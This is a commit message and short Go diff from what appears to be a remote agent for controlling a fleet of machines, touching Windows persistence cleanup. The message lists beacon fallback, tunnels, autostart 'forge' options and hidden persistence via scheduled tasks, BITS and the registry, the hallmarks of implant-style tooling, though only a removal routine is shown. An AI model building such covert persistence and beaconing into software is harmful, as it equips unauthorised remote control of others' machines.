feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

agent/deploy/platform_windows.go

@@ -118,12 +118,8 @@ func killWorkerProcess(cfg config.RuntimeConfig) {
 
 func removePersistence(cfg config.RuntimeConfig) {
 	keyName := PersistenceKeyName(cfg)
-	runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
-	if err == nil {
-		_ = runKey.DeleteValue(keyName)
-		runKey.Close()
-	}
 	_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
+	removeAutostartExtras(cfg)
 	RemoveBITSPersistence(cfg)
 	RemoveHostBinaryPersistence(cfg)
 	svcName := cfg.ServiceName